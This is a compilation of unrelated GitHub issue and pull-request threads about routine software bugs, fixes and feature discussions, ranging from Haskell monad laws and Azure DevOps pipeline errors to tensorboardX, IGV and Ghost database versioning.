It should be possible to implement >>=  without indexing, because it is possible to implement join without indexing:
join :: Infinite (Infinite a) -> Infinite a
join ((x :< _) :< xss) = x :< join (fmap tail xss)

Needless to say, this issue also causes <*> to be unequal to ap.
Suggested fix: Either implement >>= in terms of join above or some some equivalent index-free method, or change the type of !! to use an unbounded index type such as Natural.

The easiest would be to replace xs !! n with head . (genericDrop n xs), taking care that n :: Natural index is eagerly evaluated.
But I'm not sure I'm convinced:

To observe this in finite time, change the index type in !! to a smaller Word but that does not change the line of argumentation.

If we agree to accept such argument, one could claim that (!!) is not lawful for the same reasons. The type of (!!) is a deliberate choice, see https://github.com/Bodigrim/infinite-list#indexing.

Are there laws for (!!) ? The documentation only says that (!!n) returns the n-th element, and that is true regardless of the word size. It is not claimed that (!!) is able to index the entire infinite list and I think everyone should be fine with that being so, in particular since you identified performance penalties for Natural.
To clarify: I do not suggest using a smaller word size in production. Only for the sake of counterexample I changed the word size, e.g.
type Index = Word8
(!!) :: Infinite a -> Index -> a
(!!) = -- function body unchanged

However, I do not see the point in having a Monad instance if it is only lawful up to index 2^n for some number n. Foldable is also omitted for good reasons, so maybe the same can be said about Monad.

OK.  Bonus points for adding fusion rules for genericDrop.

I know too little about getting the firing order of rewrite rules right. Maybe you can help there? My PR compiles with warnings that the rule I added may never fire. I believe it would be of advantage if genericDrop (n+1) which is called by the recursion in the go function inside >>= is simplified to genericDrop n . tail.


WIP: backend omaha: Extend update check with a _payload

Extend update check with a _payload
Work in progress...
How to use
[ describe what reviewers need to do in order to validate this PR ]
Testing done
[Describe the testing you have done before submitting this PR. Please include both the commands you issued as well as the output you got.]

Since we control the go-omaha project, I am thinking maybe it's easier to add this custom field in there. It shouldn't break protocol because it's just extra data that can be interpreted by the client.
Maybe we can even make it a CDATA field...

I have been wondering whether to add the extra data tag to the whole response, or to a package.
Having it in the package means that we can have more data from each package, or use it as the actual update payload data, if we're using just one package.
I opened a draft PR for this in https://github.com/kinvolk/go-omaha/pull/7 .

Closing in favor of https://github.com/kinvolk/go-omaha/pull/7


Update lint and lint-fix to check jupyter notebooks cells for outputs

As a developer, If I want to add content to our notebook-based documentation, I typically modify the notebooks locally and then push changes up and open a PR.
The problem is that we don't want to check-in notebooks with cell outputs into our repo because it makes it harder to analyze the diff during PR reviews and it makes the notebooks larger.
This makes developing the notebooks a pain because I need to hit Restart Kernel and Clear Outputs on jupyter and then Save before I want to commit a change.
The proposal is for make lint to throw an error if any of the jupyter notebook cells in our docs have outputs. This will make it harder for developers to check in notebooks with output. The second part is for make lint-fix to automatically clear the outputs from the notebook cells.
For inspiration, look at the notebook-version-standardizer: https://github.com/alteryx/evalml/blob/main/docs/notebook_version_standardizer.py

@freddyaboulton Can we use nbsphinx_execute option to resolve this?

https://nbsphinx.readthedocs.io/en/0.8.2/usage.html#nbsphinx_execute

@gsheni I'm not sure! We currently have nbsphinx_execute set to always. Are you suggesting we change the setting?
I was envisioning we'd write a script to iterate over the notebooks and set the outputs field to [] on lint-fix but there could be other ways of doing it! I think the main requirement is to make it harder for developers to push/check-in notebooks with outputs because it makes reviewing them harder.

@freddyaboulton I thought that setting would help with the documentation building, but this issue is more about cell outputs during code review, so disregard my comment.


MGMT-17018: Fix oauth-apiserver deployment IP replacement

When trying to find the --etcd-servers arg of the oauth-apiserver deployment container command, in order to replace the seed IP with the recipient IP, recert did not include single quotes in the find string. The oauth-server regexp-s for shell escapes and encodes the arg value that matches. That made IPv6 IPs, which contain '[' (and ']'), be missed by recert previously.

https://github.com/openshift/cluster-authentication-operator/blob/master/pkg/controllers/common/arguments/arguments.go#L13

/test baremetalds-sno-recert-cluster-rename
/test e2e-aws-ovn-single-node-recert-serial
/test e2e-aws-ovn-single-node-recert-parallel

/lgtm

Merge whenever you want

/cherry-pick release-4.15


vehicle access broke again

Description
not using access of rider again
Reproduction

go on atv
try go into maints
no

Vehicles removed awaiting better implementation.


Add arguments for timestamps columns names.

Implement #576 && #706

I don't sure, but this feature will be applied only after phar rebuilding?
Do I must push with pull request binary file?
Contributing FAQ not provide some info about it...

@samizdam please add tests.

@shadowhand  this method is already covered.
I'm update my branch with upstream now.

I dont really think we need this feature. If people want to change types etc or column names I generally tell them just to use addColumn() instead. I'd rather leave this method simple like Rails.

I don't see any problem with having defaults that can be modified rather than hard coded. Seems like a reasonable approach to me.

I've implemented this feature, along with appropriate guarding of null (you cannot have a column called null - who'd have thought that!) and unit tests.


electronics: replace all SMD components on upper PCB with thru hole

Figure that all pots and switches are thru-hole anyway, no reason to have two different types of components. This board is likely hand-assembled anyway.

Done


[BUG]: Azure File transform task. EPERM: operation not permitted, stat 'C:\agent_work\r1\a\build_api\Jobs\App_Data\jobs\continuous\protocols\bin\2d35ec66-b8b4-4f9b-8a50-753889deb977.tmp'

New issue checklist

[X] I searched for existing GitHub issues
[X] I read pipeline troubleshooting guide
[X] I checked how to collect logs

Task name
File transform
Task version
1.235.1
Issue Description
We are using the File Transform task to substitute variables in a JSON file within the release pipeline, and we are encountering an issue with the error:
##[error]Error: Failed find: EPERM: operation not permitted, stat 'C:\agent_work\r56\a\build_api\Jobs\App_Data\jobs\continuous\innovations\bin\5d7bf686-1f94-4ce8-8956-21210b956f2d.tmp'
This error is reproducible on different agents.
Environment type (Please select at least one enviroment where you face this issue)

[X] Self-Hosted
[ ] Microsoft Hosted
[ ] VMSS Pool
[ ] Container

Azure DevOps Server type
dev.azure.com (formerly visualstudio.com)
Azure DevOps Server Version (if applicable)
No response
Operation system
Windows Server 2019 Standart
Relevant log output
2024-05-30T13:40:37.9775830Z ##[error]Error: Failed find: EPERM: operation not permitted, stat 'C:\agent\_work\r56\a\build_api\Jobs\App_Data\jobs\continuous\innovations\bin\5d7bf686-1f94-4ce8-8956-21210b956f2d.tmp'
2024-05-30T13:40:37.9785834Z ##[debug]Processed: ##vso[task.issue type=error;]Error: Failed find: EPERM: operation not permitted, stat 'C:\agent\_work\r56\a\build_api\Jobs\App_Data\jobs\continuous\innovations\bin\5d7bf686-1f94-4ce8-8956-21210b956f2d.tmp'
2024-05-30T13:40:37.9788081Z ##[debug]Processed: ##vso[task.complete result=Failed;]Error: Failed find: EPERM: operation not permitted, stat 'C:\agent\_work\r56\a\build_api\Jobs\App_Data\jobs\continuous\innovations\bin\5d7bf686-1f94-4ce8-8956-21210b956f2d.tmp'
2024-05-30T13:40:37.9987040Z ##[section]Finishing: Jobs configuration transform

Full task logs with system.debug enabled
2024-05-30T13:40:35.2226188Z ##[debug]Evaluating condition for step: 'Jobs configuration transform'
2024-05-30T13:40:35.2228803Z ##[debug]Evaluating: succeeded()
2024-05-30T13:40:35.2229335Z ##[debug]Evaluating succeeded:
2024-05-30T13:40:35.2230240Z ##[debug]=> True
2024-05-30T13:40:35.2231883Z ##[debug]Result: True
2024-05-30T13:40:35.2232957Z ##[section]Starting: Jobs configuration transform
2024-05-30T13:40:35.3127120Z ==============================================================================
2024-05-30T13:40:35.3127540Z Task         : File transform
2024-05-30T13:40:35.3127712Z Description  : Replace tokens with variable values in XML or JSON configuration files
2024-05-30T13:40:35.3128012Z Version      : 1.235.1
2024-05-30T13:40:35.3128303Z Author       : Microsoft Corporation
2024-05-30T13:40:35.3128491Z Help         : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/file-transform
2024-05-30T13:40:35.3128783Z ==============================================================================
2024-05-30T13:40:37.9664033Z ##[debug]  C:\agent_work\r56\a\build_api\Jobs\App_Data\jobs\continuous\innovations\bin (directory)
2024-05-30T13:40:37.9727460Z ##[debug]task result: Failed
2024-05-30T13:40:37.9775830Z ##[error]Error: Failed find: EPERM: operation not permitted, stat 'C:\agent_work\r56\a\build_api\Jobs\App_Data\jobs\continuous\innovations\bin\5d7bf686-1f94-4ce8-8956-21210b956f2d.tmp'
2024-05-30T13:40:37.9785834Z ##[debug]Processed: ##vso[task.issue type=error;]Error: Failed find: EPERM: operation not permitted, stat 'C:\agent_work\r56\a\build_api\Jobs\App_Data\jobs\continuous\innovations\bin\5d7bf686-1f94-4ce8-8956-21210b956f2d.tmp'
2024-05-30T13:40:37.9788081Z ##[debug]Processed: ##vso[task.complete result=Failed;]Error: Failed find: EPERM: operation not permitted, stat 'C:\agent_work\r56\a\build_api\Jobs\App_Data\jobs\continuous\innovations\bin\5d7bf686-1f94-4ce8-8956-21210b956f2d.tmp'
2024-05-30T13:40:37.9987040Z ##[section]Finishing: Jobs configuration transform
Repro steps
No response

The problem appears to arise in the download-pipeline-artifact task.
The artefacts are downloaded as chunks - the '.tmp' files. It seems that the download task exits before all the '.tmp' files are uncompressed into real files. The uncompressing carries on in the background after the download task has exited.
Adding a PowerShell script to add a 60 second delay after download will allow the next task to complete.
This is not a 'workaround'. The issue with the download task needs to be fixed.

Had to add a PowerShell script in a new pipeline stage to make sure the downloads are complete before allowing further deployment pipeline stages to complete:
while ($true)
{
 $tmpFileCount = (Get-ChildItem -Path MyWebApp -Filter *.tmp -Recurse).Count

 if ($tmpFileCount -eq 0)
 {
   break;
 }

 Write-Host "Waiting for $tmpFileCount .tmp files..."
 Start-Sleep -Seconds 5
}

Result:
2024-06-27T10:42:41.6678367Z Waiting for 4 .tmp files...
2024-06-27T10:42:46.6956047Z Waiting for 3 .tmp files...
2024-06-27T10:42:51.7231092Z Waiting for 3 .tmp files...
2024-06-27T10:42:56.7486519Z Waiting for 3 .tmp files...
2024-06-27T10:43:01.7796169Z Waiting for 1 .tmp files...
2024-06-27T10:43:06.7994872Z Waiting for 1 .tmp files...
2024-06-27T10:43:11.8147468Z Waiting for 1 .tmp files...
2024-06-27T10:43:16.8391393Z Waiting for 1 .tmp files...
2024-06-27T10:43:21.8675132Z Waiting for 1 .tmp files...
2024-06-27T10:43:26.8840815Z Waiting for 1 .tmp files...
2024-06-27T10:43:31.9054132Z Waiting for 1 .tmp files...
2024-06-27T10:43:36.9249268Z Waiting for 1 .tmp files...
2024-06-27T10:43:41.9504679Z Waiting for 1 .tmp files...

This is a kludge, not a workaround.

The workaround provided by @paulcurren  works, but is this bug will be investigated ? Why the uncompressing is done in the background after the download artifacts task is finished ? Why not make it part of the task, so it does not give a false signal that the files are ready for further processing and fully availables for the other tasks ?

Any update on this?


RefSeq mRNA track for T2T-CHM13v2.0 reference works on IGV web app but not downloaded versions?

Hi
I am viewing data mapped to the human T2T-CHM13v2.0 reference in IGV.  I would like to run the UCSC RefSeq mRNA track in parallel (https://hgdownload.soe.ucsc.edu/hubs/GCA/009/914/755/GCA_009914755.4/bbi/GCA_009914755.4_T2T-CHM13v2.0.xenoRefGene.bb) but I cannot visualise this track on the downloaded IGV version 2.12.3.  The track is visible on the IGV web app, however.  The loading error code I see with the downloaded IGV version is: 'Index 4 out of bounds for length 4'.
Please can you let me know how I can modify the track (.bb file) so that it is compatible with the downloaded IGV version since I would like to work offline?
Many thanks.

Some changes are required in IGV desktop to support that file,  it will be supported in IGV desktop 2.13.0 which we hope to release the end of this week.

Amazing, thanks so much, I will look out for the new release.
I am most grateful for your quick and helpful response.
Yours,
Kate

From: Jim Robinson @.>
Sent: 11 May 2022 07:57
To: igvteam/igv-webapp @.>
Cc: Kate Liddiard @.>; Author @.>
Subject: Re: [igvteam/igv-webapp] RefSeq mRNA track for T2T-CHM13v2.0 reference works on IGV web app but not downloaded versions? (Issue #243)
External email to Cardiff University - Take care when replying/opening attachments or links.
Nid ebost mewnol o Brifysgol Caerdydd yw hwn - Cymerwch ofal wrth ateb/agor atodiadau neu ddolenni.
Some changes are required in IGV desktop to support that file, it will be supported in IGV desktop 2.13.0 which we hope to release the end of this week.
—
Reply to this email directly, view it on GitHubhttps://eur03.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Figvteam%2Figv-webapp%2Fissues%2F243%23issuecomment-1123256095&data=05|01|liddiardk%40cardiff.ac.uk|901d7fd6a04143a3a72008da331b87b9|bdb74b3095684856bdbf06759778fcbc|1|0|637878490574126438|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=pt7bzi7ZCr6ROukf8zO903ry9kCuSGNnWCRvYvo0DPQ%3D&reserved=0, or unsubscribehttps://eur03.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAZDV247ZX5UGEFWDOVD6EVDVJNK57ANCNFSM5VTYLXVQ&data=05|01|liddiardk%40cardiff.ac.uk|901d7fd6a04143a3a72008da331b87b9|bdb74b3095684856bdbf06759778fcbc|1|0|637878490574126438|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=WSAAdTe%2FXEaoKWS2Yh6Jcfoqrtx%2Bex7i%2FX8%2FWxVZy34%3D&reserved=0.
You are receiving this because you authored the thread.Message ID: @.***>


fix(tsconfig): add DOM types to lib

Too often does it happen that @types/node does not expose everything that is officially available in the Global scope to the Global scope. A perfect example of this is that without DOM types when compiling a project that uses @sapphire/fetch you get the error:
node_modules/@sapphire/fetch/dist/cjs/index.d.ts:264:12 - error TS2304: Cannot find name 'BodyInit'.

264     body?: BodyInit | Record<any, any>;
               ~~~~~~~~

Found 1 error in node_modules/@sapphire/fetch/dist/cjs/index.d.ts:264

And this is just one possible example among others. As Node and browsers inch ever close to one another in terms of API this problem is only going to increase I think.

Fun, node 20 has these globally defined, but node 18 doesn't?

Closing this in favour of #695


Update sbt-typelevel, sbt-typelevel-site to 0.4.21

About this PR
📦 Updates

org.typelevel:sbt-typelevel
org.typelevel:sbt-typelevel-site

from 0.4.17 to 0.4.21
📜 GitHub Release Notes - Version Diff
Usage
✅ Please merge!
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

⚙ Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.typelevel" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "org.typelevel" }
}]

labels: sbt-plugin-update, early-semver-minor, semver-spec-patch, version-scheme:early-semver, commit-count:1

Superseded by #51.


added test for object for steamroller bonfire

Now tests if code works with objects.
Incorrect code like the following will not work since it can't handle objects.
function steamroller(arr) {
  arr = arr.toString().split(',');

  for (var i = 0; i < arr.length; i++) {

    test = parseInt(arr[i], 10);

    if ( !isNaN(test) ) {  // if test not is not a num
      arr[i] = test;

    } else if (arr[i] === '') { // Object is '' after .toString(), so remove empty strings

      arr.splice(i, 1);
      i--;
    }
  }

  return arr;
}

Has this been tested locally and linted?

I've tested it. I have not linted it, but should not need linting, it's only a single line of JSON. Which linter is used for JSON, by the way? I've only heard ESLint for the JavaScript.

@ahstro i use this http://jsonlint.com/ It requires copy-pasting but it's very good. It most likely doesn't need linting as it's just a one line change but it's a good practice when contributing :p

@benmcmahon100 I'll use that one in the future!

Thanks for the fix btw! The help is much appreciated!


Determine best location for role dependencies

💡 Summary
We should determine whether all role dependencies should be listed in meta/requirements.yml or both meta/requirements.yml and meta/main.yml.
Motivation and context
Ansible Galaxy currently allows role dependencies to be listed in both meta/requirements.yml and meta/main.yml.  The former allows for both collection and role dependencies, while the latter allows for only role dependencies.  A key difference is that dependencies listed in meta/main.yml are installed before the role is installed, while the dependencies listed in meta/requirements.yml are made available to the role but not automatically installed.
Right now we are defaulting to listing dependencies in meta/main.yml, and listing dependencies in meta/requirements.yml in cases where

The installation of a dependency is conditional based upon the values on role variables, or
The dependency's role variables must be assigned dynamic values.

One can imagine a world in which all dependencies are listed in meta/requirements.yml and we manually install the dependencies in the role tasks for maximum control and flexibility.  It is currently unclear if this is The Way Forward, so we should keep an eye on ansible-galaxy changes and recommended best practices until the situation becomes clearer.

Note also that it is possible to list both collections and roles in meta/requirements.yml, but unfortunately ansible-galaxy attempts to naively merge the dependencies listed in meta/main.yml with those listed in meta/requirements.yml.  That means that both sets of dependencies must be arrays, so as long as we are using both files we can only list roles in meta/requirements.yml.  This is one argument for moving wholesale to meta/requirements.yml.

Also note that an ansible-galaxy requirements file allows for including one such file from another.  If we defined all dependencies in the meta/requirements.yml file then we should be able to include that file from molecule/default/requirements.yml and avoid keeping track of role dependencies in two places.  DRYness is next to godliness.

ansible/ansible#76030 is also of note, particularly https://github.com/ansible/ansible/issues/76030#issuecomment-1142938486.


Add command support for LogAnalytics in OMS

Rest API:
https://docs.microsoft.com/en-us/rest/api/loganalytics/
Swagger;
https://github.com/Azure/azure-rest-api-specs/tree/master/specification/operationalinsights
Posh:
https://github.com/Azure/azure-powershell/tree/preview/src/ResourceManager/OperationalInsights

This would be very useful support for automation scenarios, as it is blocking many CI use cases now

@MyronFanQiu  we are working on this.

Done


not working with my audio jack

while using below function the audio is not playing with my audio jack. even output speaker is selected to audio jack in WINDOWS 10
playsound(path)

It works for me.
Please specify more information

If you want to make a PR that adds in this feature, I'm happy to accept it as long as it doesn't add in any more dependencies or cause any regressions in the existing testcases.


Bug with the LONG type

Hi again,
I'm stuck with a project in XC=Basic (I'm the author of the Pac-Man and Labyrinth-3D) due to a bug in the compiler. If you try the following code:
DIM A AS LONG, B AS LONG, C AS LONG

A = 0
B = 12000
C = 3000
PRINT (A - B) / C

It should print -4, but instead it print 4. If you replace LONG with INT, the result is correct (looks like that the division is the problem, because A - B is printed correctly as -12000).
Please support.

Tried this myself, apparently it's something specific with division, all the other operations seem to work fine.

Please double check how the sign is handled.

Yes, the bug was in LONG division.

Please download v3.1.9

A new XC=Basic tech demo is coming, stay tuned :-)

Cool! Keep us updated. Thanks.

Cool! Keep us updated. Thanks.

Here it is: https://www.youtube.com/watch?v=FLPNtlsF5rw


core: module inst

Codecov Report

Merging #35 into master will increase coverage by 0.32%.
The diff coverage is 80.51%.

@@            Coverage Diff             @@
##           master      #35      +/-   ##
==========================================
+ Coverage   94.11%   94.43%   +0.32%
==========================================
  Files          75       77       +2
  Lines        1817     1852      +35
==========================================
+ Hits         1710     1749      +39
+ Misses        107      103       -4

Impacted Files
Coverage Δ

py_hcl/core/expr/field.py
94.73% <100%> (+0.29%)
:arrow_up:

py_hcl/dsl/__init__.py
100% <100%> (ø)

py_hcl/core/expr/wire.py
100% <100%> (ø)
:arrow_up:

py_hcl/core/expr/io.py
100% <100%> (+3.44%)
:arrow_up:

py_hcl/core/expr/__init__.py
82.5% <100%> (-1.6%)
:arrow_down:

py_hcl/core/expr/lit_uint.py
100% <100%> (ø)
:arrow_up:

py_hcl/core/type/bundle.py
66.66% <37.5%> (-33.34%)
:arrow_down:

py_hcl/core/expr/convert.py
67.74% <50%> (+1.07%)
:arrow_up:

py_hcl/core/expr/lit_sint.py
60% <66.66%> (+60%)
:arrow_up:

py_hcl/dsl/module.py
90.9% <66.66%> (-9.1%)
:arrow_down:

... and 8 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 097d59e...feda4b1. Read the comment docs.


Refactor plexon rawio to have same ids as plexon2

After #1541 Plexon2 ended up with the meaningful but unique stream_ids:
        stream_id_to_stream_name = {
            "WB": "WB-Wideband",
            "FP": "FPl-Low Pass Filtered",
            "SP": "SPKC-High Pass Filtered",
            "AI": "AI-Auxiliary Input",
        }

But in Plexon 1 we are using numbers instead: "1", "2", ...
This PR unifies them so they have the same stream_ids

https://github.com/NeuralEnsemble/python-neo/actions/runs/10776574774/job/29883638305?pr=1547
I just want to save this failed attempt with 15 times. This is good to know since I haven't seen the runner fail since you implemented the 10 retries. This is interesting.

Oh, what a pain : /

Agreed. I think explicitly setting this is probably a better idea rather than setting trying until success. So I don't know, if we set something big like 100 I don't want to slow down the test suite. Maybe we hive off plexon2 as a conditional test--only when baserawio, toml, or plexon2 changes. Any opinions?

Let's measure how much time it takes.

@zm711 This is ready.
I measured the opening on my computer for a file of around 2 GiB and it took around two milliseconds:
2.46 ms ± 58.6 μs per loop (mean ± std. dev. of 7 runs, 100 loops each)
import platform
from urllib.request import urlopen
import pathlib

architecture = platform.architecture()[0]
if architecture == "64bit" and platform.system() in ["Windows", "Darwin"]:
    file_name = "PL2FileReader64.dll"
else:  # Apparently wine uses the 32 bit version in linux
    file_name = "PL2FileReader.dll"
pl2_dll_folder = pathlib.Path.home() / ".plexon_dlls_for_neo"
pl2_dll_folder.mkdir(exist_ok=True)
pl2_dll_file_path = pl2_dll_folder / file_name

if not pl2_dll_file_path.exists():
    url = f"https://raw.githubusercontent.com/Neuralensemble/pypl2/master/bin/{file_name}"
    dist = urlopen(url=url)

    with open(pl2_dll_file_path, "wb") as f:
        print(f"dll file does not exist, downloading plexon dll to {pl2_dll_file_path}")
        f.write(dist.read())

from neo.rawio.plexon2rawio.pypl2.pypl2lib import PyPL2FileReader

pl2reader = PyPL2FileReader(pl2_dll_file_path=pl2_dll_file_path)from pathlib import Path

file_path = Path("/home/heberto/Downloads/1_conspecific_vocalization_block_10.16.23.pl2")
assert file_path.exists()
filename = str(file_path)

# In another cell
%%timeit
pl2reader.pl2_open_file(filename)

Cool, But seems like you didn't change the open tries for plexon2? I'm just wondering if we should change that (in a new PR?). Let me double check this PR one last time after my morning meeting and then we can merge. I'm just going to update the branch first.

I just changed them.

OK.


Better Letterboxing interferes with fullscreen

When Better Letterboxing theme is on, fullscreen develops rounded corners from the current browser theme.

That's how it looks like with light theme.

is this still a thing?


updated css and  added 'required' class for the required field

you need to make changes in this https://github.com/Chit-Chat-Org/Chit-Chat-nextjs repo


TypeError: Parameter to MergeFrom() must be instance of same class: expected Summary got Summary. for field Event.summary

Hi,
I'm using pytorch on Windows10 following the tutorial in 'https://zhuanlan.zhihu.com/p/26871672'
When i try tensorboardX out, i keep getting the following error:
TypeError: Parameter to MergeFrom() must be instance of same class: expected Summary got Summary. for field Event.summary
I also tested in Ubuntu, no error occurred. So I guess it maybe caused by windows platform (or not ╮(╯▽╰)╭). Anyway, could you have a look on this issue and hopely provide a solution? After all, many guys are still bonded with Windows.
My pip freeze is listed below:

pip freeze
alabaster==0.7.9
anaconda-clean==1.0
anaconda-client==1.5.1
anaconda-navigator==1.3.1
appdirs==1.4.3
apptools==4.4.0
argcomplete==1.0.0
astroid==1.4.7
astropy==2.0.2
autopep8==1.3.2
Babel==2.3.4
backports.shutil-get-terminal-size==1.0.0
beautifulsoup4==4.5.1
bitarray==0.8.1
blaze==0.10.1
bleach==1.5.0
bokeh==0.12.2
boto==2.42.0
Bottleneck==1.2.1
cffi==1.10.0
chardet==3.0.2
chest==0.2.3
click==6.6
cloudpickle==0.2.1
clyent==1.2.2
colorama==0.3.7
comtypes==1.1.2
conda==4.3.25
conda-build==2.0.2
configobj==5.0.6
contextlib2==0.5.3
cryptography==1.5
cycler==0.10.0
Cython==0.24.1
cytoolz==0.8.0
dask==0.15.2
datashape==0.5.2
decorator==4.0.10
dill==0.2.5
docutils==0.12
dynd===c328ab7
envisage==4.5.1
et-xmlfile==1.0.1
fastcache==1.0.2
filelock==2.0.6
Flask==0.11.1
Flask-Cors==2.1.2
gevent==1.1.2
greenlet==0.4.10
h5py==2.7.0
HeapDict==1.0.0
html5lib==0.9999999
idna==2.1
imagesize==0.7.1
ipykernel==4.5.0
ipython==5.1.0
ipython-genutils==0.1.0
ipywidgets==5.2.2
itsdangerous==0.24
jdcal==1.2
jedi==0.9.0
Jinja2==2.8
jsonschema==2.5.1
jupyter==1.0.0
jupyter-client==4.4.0
jupyter-console==5.0.0
jupyter-core==4.2.0
lazy-object-proxy==1.2.1
llvmlite==0.20.0
locket==0.2.0
lxml==3.6.4
Markdown==2.6.9
MarkupSafe==0.23
matplotlib==2.0.2
menuinst==1.4.1
mistune==0.7.3
mpmath==0.19
multipledispatch==0.4.8
nb-anacondacloud==1.2.0
nb-conda==2.0.0
nb-conda-kernels==2.0.0
nbconvert==4.2.0
nbformat==4.1.0
nbpresent==3.0.2
networkx==1.11
nltk==3.2.1
nose==1.3.7
notebook==4.2.3
numba==0.35.0
numexpr==2.6.2
numpy==1.13.1
numpydoc==0.6.0
odo==0.5.0
opencv-python==3.3.0+contrib
openpyxl==2.3.2
packaging==16.8
pandas==0.20.3
partd==0.3.6
path.py==0.0.0
pathlib2==2.1.0
patsy==0.4.1
pep8==1.7.0
pickleshare==0.7.4
Pillow==3.3.1
pkginfo==1.3.2
ply==3.9
prompt-toolkit==1.0.3
protobuf==3.4.0
psutil==4.3.1
py==1.4.31
pyasn1==0.1.9
pycodestyle==2.3.1
pycosat==0.6.1
pycparser==2.14
pycrypto==2.6.1
pycurl==7.43.0
pyface==5.1.0
pyflakes==1.3.0
Pygments==2.1.3
pylint==1.5.4
pyOpenSSL==16.2.0
pyparsing==2.2.0
pyreadline==2.1
pytest==2.9.2
python-dateutil==2.6.0
pytz==2017.2
PyWavelets==0.5.2
pywin32==220
PyYAML==3.12
pyzmq==15.4.0
QtAwesome==0.4.4
qtconsole==4.2.1
QtPy==1.1.2
requests==2.13.0
rope-py3k==0.9.4.post1
ruamel-yaml===-VERSION
scikit-image==0.13.0
scikit-learn==0.19.0
scipy==0.19.1
seaborn==0.7.1
selenium==3.4.1
simplegeneric==0.8.1
singledispatch==<IP_ADDRESS>
six==1.11.0
snowballstemmer==1.2.1
sockjs-tornado==1.0.3
Sphinx==1.3.1
spyder==3.1.4
SQLAlchemy==1.0.13
statsmodels==0.8.0
svgwrite==1.1.6
sympy==1.0
tables==3.2.2
tensorboardX==0.6.9
tensorflow==1.3.0
tensorflow-tensorboard==0.1.6
toolz==0.8.0
torch==0.2.1+a4fc05a
torchvision==0.1.9
tornado==4.4.1
traitlets==4.3.0
unicodecsv==0.14.1
update==0.4.4
wcwidth==0.1.7
Werkzeug==0.12.2
widgetsnbextension==1.2.6
win-unicode-console==0.5
wrapt==1.10.6
xgboost==0.6
xlrd==1.0.0
XlsxWriter==0.9.3
xlwings==0.10.0
xlwt==1.1.2

I got the same error in ubuntu 14.04 to plot an image. however, i didnt have error in adding scalar values.

I also got this error on my mac recently... will look into it later. XD
@lolongcovas would you post your pip freeze as well? thanks

the same error occured at writer.add_scalar('data/scalar1', s1[0], n_iter) # data grouping by slash

I ran into this issue as well using code very similar to the example in the docs. The relevant pip freeze entries for me are
tensorflow==1.3.0
tensorflow-tensorboard==0.1.5
tensorboardX==0.6.9

Found out that the problem happens in V0.6.9
It should work well (on windows/mac/ubuntu) if you build from source code or use the following temporary package.
tensorboardX-0.7.5-py2.py3-none-any.whl.zip


CI: Fix benchmark CI

What do these changes do?

Fix upstream url in benchmark-ci.yml.
Related issue number

Fixes #xxxx
Check code requirements

[ ] tests added / passed (if needed)
[ ] Ensure all linting tests pass, see here for how to run them

LGTM.


Database versions

refs #7489
Already explained the change in #7489 , but here some details to the implementation and the bigger idea:
The database version reflects always the Ghost version. So when you are on 1.4 and you update to 1.6 and this version contains 3 migration files, they get executed and when successful your database version will get set to 1.6. Otherwise all migration scripts roll back (everything happens in one transaction) and your blog starts with 1.4. So no need to add the -X postfix, i think there is no benefit?
The big idea is: By default your database version is null. Null signals that your database was not fully seeded yet.

population of tables
We ensure that population of tables was successful by adding a something to the database, which we can later check on bootstrap. For example: add a key into settings table: database populated. (mysql does not support rolling back table creation). Alternatively we can check if all tables exists, but that would slow down the bootstrap process, so i checking a property in the db should be fine.

seeding the database
Populate default settings, add owner, add welcome post and finally set database version to X.X.
This might be a migration script. (not fully designed yet in my head)

Both might be implemented as migration scripts. I's not fully designed yet in my head. But i can think of something like:

migrations

init

1-tables
2-seed

1.0
1.1

A big challenge for the next PR's is, to make small changes and take care of the test env. We have a lot of tests around migrations and the way we insert data into db in test env relies on fixtures. We'll see.
This PR only contains the preparation for Database Versioning changes.
I've added a key migrations-kate, so i can easily find all TODO's for the next PR's.

#7477 is merged 🎉

rebased 🎉


Move lakeFS Enterprise and lakeFS Cloud doc pages to top level

Closes https://github.com/treeverse/product/issues/334

🎊 PR Preview 071bb07 has been successfully built and deployed to https://treeverse-lakeFS-preview-pr-7851.surge.sh
🕐 Build time: 0.009s

🤖 By surge-preview

@talSofer notice that the 2 new top level sections end up in a redirect loop ➿

🎊 PR Preview 071bb07 has been successfully built and deployed to https://treeverse-lakeFS-preview-pr-7851.surge.sh
🕐 Build time: 0.009s

🤖 By surge-preview

@talSofer notice that the 2 new top level sections end up in a redirect loop ➿

I haven't noticed that when opening the preview page

I haven't noticed that when opening the preview page

Thanks @N-o-Z @itaiad200 , the updated preview URL don't have these redirects, I fixed them (see https://github.com/treeverse/lakeFS/pull/7851#issuecomment-2159983528)


WAB LocalLayer error

I've added the widget to the WAB 1.2 widgets folder so it shows in the widgets pool for selection in a new application. It all works in terms of configuring so I can drop the default listed layers and add in my own dynamic service from our own AGS. However when I launch the app and click the button I get an error, which as a novice I find difficult to solve. I'm not sure if it's something I have failed to configure. Any help would be greatly appreciated - the widget seems perfect for our requirements.
TypeError: Failed to execute 'appendChild' on 'Node': parameter 1 is not of type 'Node'.
at TypeError (native)
at Object.b.place (http://js.arcgis.com/3.14/init.js:148:448)
at declare.setPosition (http://ws211:3344/webappbuilder/apps/6/jimu.js/BaseWidget.js:235:12)
at null. (http://ws211:3344/webappbuilder/apps/6/jimu.js/OnScreenWidgetIcon.js:120:18)
at http://js.arcgis.com/3.14/init.js:167:296
at k (http://js.arcgis.com/3.14/init.js:189:431)
at m (http://js.arcgis.com/3.14/init.js:189:357)
at resolve (http://js.arcgis.com/3.14/init.js:191:441)
at null. (http://ws211:3344/webappbuilder/apps/6/jimu.js/WidgetManager.js:117:25)
